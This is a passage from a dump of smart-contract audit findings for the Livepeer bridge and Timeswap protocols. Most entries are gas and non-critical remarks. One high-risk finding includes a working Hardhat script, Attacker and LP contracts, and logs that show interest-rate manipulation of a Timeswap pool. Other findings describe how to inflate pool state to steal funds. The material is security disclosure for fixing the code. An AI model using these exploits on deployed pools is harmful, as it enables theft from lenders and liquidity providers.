contracts\\L2\\gateway\\L2Migrator.sol : [setL1Migrator,setDelegatorPoolImpl,setClaimStakeEnabled]. - contracts\\L2\\gateway\\L2LPTGateway.sol : [setCounterpart]. - contracts\\L2\\gateway\\L2LPTDataCache.sol : [setL1LPTDataCache,setL2LPTGateway]. ## Tools Used Manual review. ## Recommended Mitigation Steps Emit event during important changes. "}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "Cache array length in for loops can save gas"}, {"title": "Gas: Consider making some constants as non-public to save gas", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "Gas: Consider making some constants as non-public to save gas"}, {"title": "Gas: Internal functions can be private if the contract is not herited", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Dravee # Vulnerability details ## Impact `private` functions are cheaper than `internal` functions. ## Proof of Concept Several `internal` functions are in contracts that are never inherited. Their `internal` keywords are there: ``` arbitrum-lpt-bridge\\contracts\\L1\\gateway\\L1LPTGateway.sol:170: internal arbitrum-lpt-bridge\\contracts\\L1\\gateway\\L1Migrator.sol:505: ) internal view { arbitrum-lpt-bridge\\contracts\\L1\\gateway\\L1Migrator.sol:518: internal arbitrum-lpt-bridge\\contracts\\L2\\gateway\\L2LPTGateway.sol:123: internal arbitrum-lpt-bridge\\contracts\\L2\\gateway\\L2Migrator.sol:307: ) internal { arbitrum-lpt-bridge\\contracts\\L2\\pool\\DelegatorPool.sol:95: function transferBond(address _delegator, uint256 _stake) internal { arbitrum-lpt-bridge\\contracts\\L2\\pool\\DelegatorPool.sol:106: function pendingStake() internal view returns (uint256) { arbitrum-lpt-bridge\\contracts\\L2\\pool\\DelegatorPool.sol:110: function pendingFees() internal view returns (uint256) { protocol\\contracts\\Manager.sol:48: function _onlyController() internal view { protocol\\contracts\\Manager.sol:52: function _onlyControllerOwner() internal view { protocol\\contracts\\Manager.sol:56: function _whenSystemNotPaused() internal view { protocol\\contracts\\Manager.sol:60: function _whenSystemPaused() internal view { ``` Therefore, their visibility should be reduced to `private`. ## Tools Used VS Code ## Recommended Mitigation Steps Define these functions as `private`. "}, {"title": "Gas: Use `calldata` instead of `memory` for external functions where the function argument is read-only.", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "Gas: Use `calldata` instead of `memory` for external functions where the function argument is read-only."}, {"title": "double storage call in function decreaseL2SupplyFromL1", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Tomio # Vulnerability details ## Impact save in memory can save more gas instead of double storage call ## Proof of Concept https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/gateway/L2LPTDataCache.sol#L57 ## Tools Used Remix ## Recommended Mitigation Steps add `l2SupplyFromL1` to memory example: ``` uint256 savel2SupplyFromL1 = l2SupplyFromL1; if (_amount > savel2SupplyFromL1) { savel2SupplyFromL1 = 0; } else { savel2SupplyFromL1 -= _amount; } ``` "}, {"title": "Protocol uses floating pragmas ", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In files like L1LPTDataCache.sol, floating pragmas are used. Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively. ## Proof of Concept https://swcregistry.io/docs/SWC-103 ## Tools Used Manual code review ## Recommended Mitigation Steps Lock the pragma version: delete pragma solidity 0.8.0 in favor of pragma solidity 0.8.0 "}, {"title": "no check that _amount arg is greater than 0 in outboundTransfer() function ", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/44", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "no check that _amount arg is greater than 0 in outboundTransfer() function "}, {"title": "L1Escrow.approve should be called before calling L1LPTGateway.finalizeInboundTransfer", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/40", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "L1Escrow.approve should be called before calling L1LPTGateway.finalizeInboundTransfer"}, {"title": "_token arg should be from a whitelisted group to avoid use of malicious tokens", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/38", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "_token arg should be from a whitelisted group to avoid use of malicious tokens"}, {"title": "using empty String which is already default 0x", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Tomio # Vulnerability details ## Impact expensive gas ## Proof of Concept https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L1/gateway/L1LPTGateway.sol#L227 ## Tools Used Remix ## Recommended Mitigation Steps change to `bytes memory emptyBytes;` "}, {"title": "value argument in approve() function not required to be greater than 0", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/27", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "value argument in approve() function not required to be greater than 0"}, {"title": "burn() function does not check that _amount is larger than 0", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/25", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "burn() function does not check that _amount is larger than 0"}, {"title": "Public functions to external", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "Public functions to external"}, {"title": "Prefix increments are cheaper than postfix increments", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Prefix increments are cheaper than postfix increments"}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "Upgrade pragma to at least 0.8.4"}, {"title": "Solidity compiler versions mismatch", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "Solidity compiler versions mismatch"}, {"title": "Not verified function inputs of public / external functions", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Not verified function inputs of public / external functions"}, {"title": "Named return issue", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "Named return issue"}, {"title": "Missing 0 address check", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/4", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Missing 0 address check"}, {"title": "No check that the amount arg that is being minted is larger than 0", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/2", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "No check that the amount arg that is being minted is larger than 0"}, {"title": "Manipulation of the Y State Results in Interest Rate Manipulation", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/187", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle Rhynorater # Vulnerability details ## Impact Due to lack of constraints on user input in the `TimeswapPair.sol#mint` function, an attacker can arbitrarily modify the interest rate while only paying a minimal amount of Asset Token and Collateral Token. Disclosure: This is my first time attempting Ethereum hacking, so I might have made some mistakes here since the math is quite complex, but I'm going to give it a go. ## Proof of Concept The attack scenario is this: A malicious actor is able to hyper-inflate the interest rate on a pool by triggering a malicious mint function. The malicious actor does this to attack the LP and other members of the pool. Consider the following HardHat script: ``` const hre = require(\"hardhat\"); //jtok is asset //usdc is collat async function launchTestTokens(tokenDeployer){ //Launch a token const TestToken = await ethers.getContractFactory(\"TestToken\", signer=tokenDeployer); const tt = await TestToken.deploy(\"JTOK\", \"JTOK\", 1000000000000000) const tt2 = await TestToken.deploy(\"USDC\", \"USDC\", 1000000000000000) let res = await tt.balanceOf(tokenDeployer.address) let res2 = await tt.balanceOf(tokenDeployer.address) console.log(\"JTOK balance: \"+res) console.log(\"USDC balance: \"+res2) return [tt, tt2] } async function deployAttackersContract(attacker, jtok, usdc){ const Att = await ethers.getContractFactory(\"Attacker\", signer=attacker) const atakcontrak = await Att.deploy(jtok.address, usdc.address) return atakcontrak } async function deployLPContract(lp, jtok, usdc){ const LP = await ethers.getContractFactory(\"LP\", signer=lp) const lpc = await LP.deploy(jtok.address, usdc.address) return lpc } async function main() { const [tokenDeployer, lp, attacker] = await ethers.getSigners(); let balance = await tokenDeployer.getBalance() let factory = await ethers.getContractAt(\"TimeswapFactory\", \"0x5FbDB2315678afecb367f032d93F642f64180aa3\", signer=tokenDeployer) //let [jtok, usdc] = await launchTestTokens(tokenDeployer) let jtok = await ethers.getContractAt(\"TestToken\", \"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6\", signer=tokenDeployer) let usdc = await ethers.getContractAt(\"TestToken\", \"0x8a791620dd6260079bf849dc5567adc3f2fdc318\", signer=tokenDeployer) console.log(\"Jtok: \"+jtok.address) console.log(\"USDC: \"+usdc.address) //Create Pair //let txn = await factory.createPair(jtok.address, usdc.address) pairAddress = await factory.getPair(jtok.address, usdc.address) pair = await ethers.getContractAt(\"TimeswapPair\", pairAddress, signer=tokenDeployer) console.log(\"Pair address: \"+pairAddress); // Deploy LP //let lpc = await deployLPContract(lp, jtok, usdc) let lpc = await ethers.getContractAt(\"LP\", \"0x948b3c65b89df0b4894abe91e6d02fe579834f8f\", signer=lp) let jtokb = await jtok.balanceOf(lpc.address) let usdcb = await usdc.balanceOf(lpc.address) console.log(\"LP Jtok: \"+jtokb) console.log(\"LP USDC: \"+usdcb) //let txn2 = await lpc.timeswapMint(1641859791, 15, pairAddress) let res = await pair.constantProduct(1641859791); console.log(\"Post LP Constants:\", res); let atakcontrak = await deployAttackersContract(attacker, jtok, usdc) jtokb = await jtok.balanceOf(atakcontrak.address) usdcb = await usdc.balanceOf(atakcontrak.address) console.log(\"Attacker Jtok: \"+jtokb) console.log(\"Attacker USDC: \"+usdcb) //mint some tokens let txn2 = await atakcontrak.timeswapMint(1641859791, 15, pairAddress) let res2 = await pair.constantProduct(1641859791); console.log(\"Post Attack Constants:\", res2); } main().then(()=>process.exit(0)) ``` First, the LP deploys their pool and contributes their desired amount of tokens with the below contract: ``` pragma solidity =0.8.4; import \"hardhat/console.sol\"; import {ITimeswapMintCallback} from \"./interfaces/callback/ITimeswapMintCallback.sol\"; import {IPair} from \"./interfaces/IPair.sol\"; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface TestTokenLP is IERC20{ function mmint(uint256 amount) external; } contract LP is ITimeswapMintCallback { uint112 constant SEC_PER_YEAR = 31556926; TestTokenLP internal jtok; TestTokenLP internal usdc; constructor(address _jtok, address _usdc){ jtok = TestTokenLP(_jtok); jtok.mmint(10_000 ether); usdc = TestTokenLP(_usdc); usdc.mmint(10_000 ether); } function timeswapMint(uint maturity, uint112 APR, address pairAddress) public{ uint256 maturity = maturity; console.log(\"Maturity: \", maturity); address liquidityTo = address(this); address dueTo = address(this); uint112 xIncrease = 5_000 ether; uint112 yIncrease = (APR*xIncrease)/(SEC_PER_YEAR*100); uint112 zIncrease = (5*xIncrease)/3; //Static 167% CDP IPair(pairAddress).mint(maturity, liquidityTo, dueTo, xIncrease, yIncrease, zIncrease, \"\"); } function timeswapMintCallback( uint112 assetIn, uint112 collateralIn, bytes calldata data ) override external{ jtok.mmint(100_000 ether); usdc.mmint(100_000 ether); console.log(\"Asset requested:\", assetIn); console.log(\"Collateral requested:\", collateralIn); //check before uint256 beforeJtok = jtok.balanceOf(msg.sender); console.log(\"LP jtok before\", beforeJtok); //transfer jtok.transfer(msg.sender, assetIn); //check after uint256 afterJtok = jtok.balanceOf(msg.sender); console.log(\"LP jtok after\", afterJtok); //check before uint256 beforeUsdc = usdc.balanceOf(msg.sender); console.log(\"LP USDC before\", beforeUsdc); //transfer usdc.transfer(msg.sender, collateralIn); //check after uint256 afterUsdc = usdc.balanceOf(msg.sender); console.log(\"LP USDC After\", afterUsdc); } } ``` Here are the initialization values: ``` uint112 xIncrease = 5_000 ether; uint112 yIncrease = (APR*xIncrease)/(SEC_PER_YEAR*100); uint112 zIncrease = (5*xIncrease)/3; //Static 167% CDP ``` With this configuration, I've calculated the interest rate to borrow on this pool using the functions defined here: https://timeswap.gitbook.io/timeswap/deep-dive/borrowing to be: ``` yMax: 4.7533146923118e-06 Min Interest Rate: 0.009374999999999765 Max Interest Rate: 0.14999999999999625 zMax: 1666.6666666666667 ``` Around 1% to 15%. Then, the attacker comes along (see line containing `let atakcontrak` and after). The attacker deploys the following contract: ``` pragma solidity =0.8.4; import \"hardhat/console.sol\"; import {ITimeswapMintCallback} from \"./interfaces/callback/ITimeswapMintCallback.sol\"; import {IPair} from \"./interfaces/IPair.sol\"; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface TestTokenAtt is IERC20{ function mmint(uint256 amount) external; } contract Attacker is ITimeswapMintCallback { uint112 constant SEC_PER_YEAR = 31556926; TestTokenAtt internal jtok; TestTokenAtt internal usdc; constructor(address _jtok, address _usdc){ jtok = TestTokenAtt(_jtok); jtok.mmint(10_000 ether); usdc = TestTokenAtt(_usdc); usdc.mmint(10_000 ether); } function timeswapMint(uint maturity, uint112 APR, address pairAddress) public{ uint256 maturity = maturity; console.log(\"Maturity: \", maturity); address liquidityTo = address(this); address dueTo = address(this); uint112 xIncrease = 3; uint112 yIncrease = 1000000000000000; uint112 zIncrease = 5; //Static 167% CDP IPair(pairAddress).mint(maturity, liquidityTo, dueTo, xIncrease, yIncrease, zIncrease, \"\"); } function timeswapMintCallback( uint112 assetIn, uint112 collateralIn, bytes calldata data ) override external{ jtok.mmint(100_000 ether); usdc.mmint(100_000 ether); console.log(\"Asset requested:\", assetIn); console.log(\"Collateral requested:\", collateralIn); //check before uint256 beforeJtok = jtok.balanceOf(msg.sender); console.log(\"Attacker jtok before\", beforeJtok); //transfer jtok.transfer(msg.sender, assetIn); //check after uint256 afterJtok = jtok.balanceOf(msg.sender); console.log(\"Attacker jtok after\", afterJtok); //check before uint256 beforeUsdc = usdc.balanceOf(msg.sender); console.log(\"Attacker USDC before\", beforeUsdc); //transfer usdc.transfer(msg.sender, collateralIn); //check after uint256 afterUsdc = usdc.balanceOf(msg.sender); console.log(\"Attacker USDC After\", afterUsdc); } } ``` Which contains the following settings for a mint: ``` uint112 xIncrease = 3; uint112 yIncrease = 1000000000000000; uint112 zIncrease = 5; //Static 167% CDP ``` According to my logs in hardhat: ``` Maturity: 1641859791 Callback before: 8333825816710789998373 Asset requested: 3 Collateral requested: 6 Attacker jtok before 5000000000000000000000 Attacker jtok after 5000000000000000000003 Attacker USDC before 8333825816710789998373 Attacker USDC After 8333825816710789998379 Callback after: 8333825816710789998379 Callback expected after: 8333825816710789998379 ``` The attacker is only required to pay 3 wei of Asset Token and 6 wei of Collateral token. However, after the attacker's malicious mint is up, the interest rate becomes: ``` yMax: 0.0002047533146923118 Min Interest Rate: 0.40383657499999975 Max Interest Rate: 6.461385199999996 zMax: 1666.6666666666667 ``` Between 40 and 646 percent. xyz values before and after: ``` Post LP Constants: [ BigNumber { value: \"5000000000000000000000\" }, BigNumber { value: \"23766573461559\" }, BigNumber { value: \"8333333333333333333333\" }, x: BigNumber { value: \"5000000000000000000000\" }, y: BigNumber { value: \"23766573461559\" }, z: BigNumber { value: \"8333333333333333333333\" } ] Attacker Jtok: 10000000000000000000000 Attacker USDC: 10000000000000000000000 Post Attack Constants: [ BigNumber { value: \"5000000000000000000003\" }, BigNumber { value: \"1023766573461559\" }, BigNumber { value: \"8333333333333333333338\" }, x: BigNumber { value: \"5000000000000000000003\" }, y: BigNumber { value: \"1023766573461559\" }, z: BigNumber { value: \"8333333333333333333338\" } ] ``` This result in destruction of the pool. "}, {"title": "Adding Unchecked Directive will Save Gas for BurnMath.sol#getAsset and BurnMath.sol#getCollateral functions", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/183", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle Rhynorater # Vulnerability details In `BurnMath.sol` we have the following function defined; ``` function getAsset(IPair.State memory state, uint256 liquidityIn) internal pure returns (uint128 assetOut) { if (state.reserves.asset <= state.totalClaims.bond) return assetOut; uint256 _assetOut = state.reserves.asset; _assetOut -= state.totalClaims.bond; _assetOut = _assetOut.mulDiv(liquidityIn, state.totalLiquidity); assetOut = _assetOut.toUint128(); } ``` Since the above `if` statement ensures that `state.reserves.asset` is not less than or equal to `state.totalClaims.bond`, it is impossible for the `_assetOut -= state.totalClaims.bond; ` line to underflow. As a result, adding the `unchecked` directive around this will save on gas. By the same reasoning, in the `getCollateral` function: ``` deficit -= state.reserves.asset; ``` is already checked by the ``` if (state.reserves.asset >= state.totalClaims.bond) { ``` `if` statement. Surrounding this with `unchecked` will also save on gas. Lastly, this also applies in `WithdrawMath.sol#getCollateral`: ``` if (state.reserves.asset >= state.totalClaims.bond) return collateralOut; uint256 deficit = state.totalClaims.bond; deficit -= state.reserves.asset; ``` The deficit will never underflow here, so adding `unchecked` will save on gas. ##References https://github.com/code-423n4/2022-01-timeswap/blob/5960e07d39f2b4a60cfabde1bd51f4b1e62e7e85/Timeswap/Timeswap-V1-Core/contracts/libraries/BurnMath.sol#L22 https://github.com/code-423n4/2022-01-timeswap/blob/5960e07d39f2b4a60cfabde1bd51f4b1e62e7e85/Timeswap/Timeswap-V1-Core/contracts/libraries/BurnMath.sol#L41 https://github.com/code-423n4/2022-01-timeswap/blob/5960e07d39f2b4a60cfabde1bd51f4b1e62e7e85/Timeswap/Timeswap-V1-Core/contracts/libraries/WithdrawMath.sol#L33 "}, {"title": "`10 ** 9` can be changed to `1e9` and save some gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/177", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/NFTTokenURIScaffold.sol#L132-L132 ```solidity if (significantDigits > 10 ** 9) { ``` Can be changed to: ```solidity if (significantDigits > 1e9) { ``` "}, {"title": "`SquareRoot#sqrtUp()` Wrong implementation", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/176", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/SquareRoot.sol#L19-L22 ```solidity function sqrtUp(uint256 y) internal pure returns (uint256 z) { z = sqrt(y); if (z % y > 0) z++; } ``` For example, when `y = 9`: - At L20, z = sqrt(9) = 3 - At L21, z % y = 3 % 9 = 3, so that `z % y > 0` is true, therefore, `z++`, z is 4 Expected Results: sqrtUp(9) = 4 Actual Results: sqrtUp(9) = 3 ### Recommendation Change to: ```solidity function sqrtUp(uint256 y) internal pure returns (uint256 z) { z = sqrt(y); if (z * z < y) ++z; } ``` or ```solidity function sqrtUp(uint256 y) internal pure returns (uint256 z) { z = sqrt(y); if (y % z != 0) ++z; } ``` "}, {"title": "Simplify `SquareRoot#sqrt()` can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/174", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details The check of `y > 3` is unnecessary and most certainly adds more gas cost than it saves as the majority of use cases of this function will not be handling `y <= 3`. https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/SquareRoot.sol#L6-L17 ```solidity function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } ``` ### Recommendation Change to: ```solidity function sqrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } ``` Or use: https://github.com/Rari-Capital/solmate/blob/dd13c61b5f9cb5c539a7e356ba94a6c2979e9eb9/src/utils/FixedPointMathLib.sol#L150-L205 "}, {"title": "`SafeCast.sol#toUint128()` Validation of input value can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/173", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details Check input value earlier can avoid unnecessary code execution when this check failed. https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/SafeCast.sol#L13-L15 ```solidity function toUint128(uint256 x) internal pure returns (uint128 y) { require((y = uint128(x)) == x); } ``` See: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4961a51cc736c7d4aa9bd2e11e4cbbaff73efee9/contracts/utils/math/SafeCast.sol#L48 ### Recommendation Change to: ```solidity function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, \"SafeCast: value doesn't fit in 128 bits\"); return uint128(value); } ``` `SafeCast.sol#toUint112()` got the similar issue. "}, {"title": "For uint `> 0` can be replaced with ` != 0` for gas optimization", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/172", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "For uint `> 0` can be replaced with ` != 0` for gas optimization"}, {"title": "Use short reason strings can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/171", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Use short reason strings can save gas"}, {"title": "Unnecessary checked arithmetic in for loops", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/170", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Unnecessary checked arithmetic in for loops"}, {"title": "`TimeswapConvenience.sol#borrowGivenDebt()` Attacker can increase `state.y` to an extremely large value with a dust amount of `assetOut`", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/169", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/BorrowMath.sol#L19-L53 This issue is similar to the two previous issues related to `state.y` manipulation. Unlike the other two issues, this function is not on `TimeswapPair.sol` but on `TimeswapConvenience.sol`, therefore this can not be solved by adding `onlyConvenience` modifier. Actually, we believe that it does not make sense for the caller to specify the interest they want to pay, we recommend removing this function. ## Impact - When `pool.state.y` is extremely large, many core features of the protocol will malfunction, as the arithmetic related to `state.y` can overflow. For example: LendMath.check(): https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/LendMath.sol#L28-L28 BorrowMath.check(): https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/BorrowMath.sol#L31-L31 - An attacker can set `state.y` to a near overflow value, then `lend()` to get a large amount of extra interest (as Bond tokens) with a small amount of asset tokens. This way, the attacker can steal funds from other lenders and liquidity providers. "}, {"title": "Race condition on ERC20 approval", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/168", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Race condition on ERC20 approval"}, {"title": "`TimeswapPair.sol#mint()` Malicious user/attacker can mint new liquidity with an extremely small amount of `yIncrease` and malfunction the pair with the maturity", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/165", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/MintMath.sol#L14-L34 The current implementation of `TimeswapPair.sol#mint()` allows the caller to specify an arbitrary value for `yIncrease`. However, since `state.y` is expected to be a large number based at `2**32`, once the initial `state.y` is set to a small number (1 wei for example), the algorithm won't effectively change `state.y` with regular market operations (`borrow`, `lend` and `mint`). https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/BorrowMath.sol#L17-L37 The pair with the maturity will malfunction and can only be abandoned. A malicious user/attacker can use this to frontrun other users or the platform's `newLiquidity()` call to initiate a griefing attack. If the desired `maturity` is a meaningful value for the user/platform, eg, end of year/quarter. This can be a noteworthy issue. ## Recommendation Consider adding validation of minimal `state.y` for new liquidity. Can be `2**32 / 10000` for example. "}, {"title": "Inline unnecessary internal function can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/163", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details `checkProportional()` is a rather simple one line function, making it inline instead of an internal function call can make the code simpler and save some gas. https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L359-L368 ```solidity for (uint256 i; i < ids.length; i++) { Due storage due = dues[ids[i]]; require(due.startBlock != BlockNumber.get(), 'E207'); if (owner != msg.sender) require(collateralsOut[i] == 0, 'E213'); PayMath.checkProportional(assetsIn[i], collateralsOut[i], due); due.debt -= assetsIn[i]; due.collateral -= collateralsOut[i]; assetIn += assetsIn[i]; collateralOut += collateralsOut[i]; } ``` https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/PayMath.sol#L7-L14 ```solidity function checkProportional( uint112 assetIn, uint112 collateralOut, IPair.Due memory due ) internal pure { require(uint256(assetIn) * due.collateral >= uint256(collateralOut) * due.debt, 'E303'); } } ``` Can be changed to: ```solidity for (uint256 i; i < ids.length; i++) { Due storage due = dues[ids[i]]; require(due.startBlock != BlockNumber.get(), 'E207'); if (owner != msg.sender) require(collateralsOut[i] == 0, 'E213'); require(uint256(assetIn[i]) * due.collateral >= uint256(collateralOut[i]) * due.debt, 'E303'); due.debt -= assetsIn[i]; due.collateral -= collateralsOut[i]; assetIn += assetsIn[i]; collateralOut += collateralsOut[i]; } ``` "}, {"title": "`TimeswapPair.sol#borrow()` Improper implementation allows attacker to increase `pool.state.z` to a large value", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/162", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details In the current implementation, `borrow()` takes a user input value of `zIncrease`, while the actual collateral asset transferred in is calculated at L319, the state of `pool.state.z` still increased by the value of the user's input at L332. Even though a large number of `zIncrease` means that the user needs to add more collateral, the attacker can use a dust amount `xDecrease` (1 wei for example) so that the total collateral needed is rather small. Plus, the attacker can always `pay()` the dust amount of loan to get back the rather large amount of collateral added. https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L299-L338 ```solidity function borrow( uint256 maturity, address assetTo, address dueTo, uint112 xDecrease, uint112 yIncrease, uint112 zIncrease, bytes calldata data ) external override lock returns (uint256 id, Due memory dueOut) { require(block.timestamp < maturity, 'E202'); require(assetTo != address(0) && dueTo != address(0), 'E201'); require(assetTo != address(this) && dueTo != address(this), 'E204'); require(xDecrease > 0, 'E205'); Pool 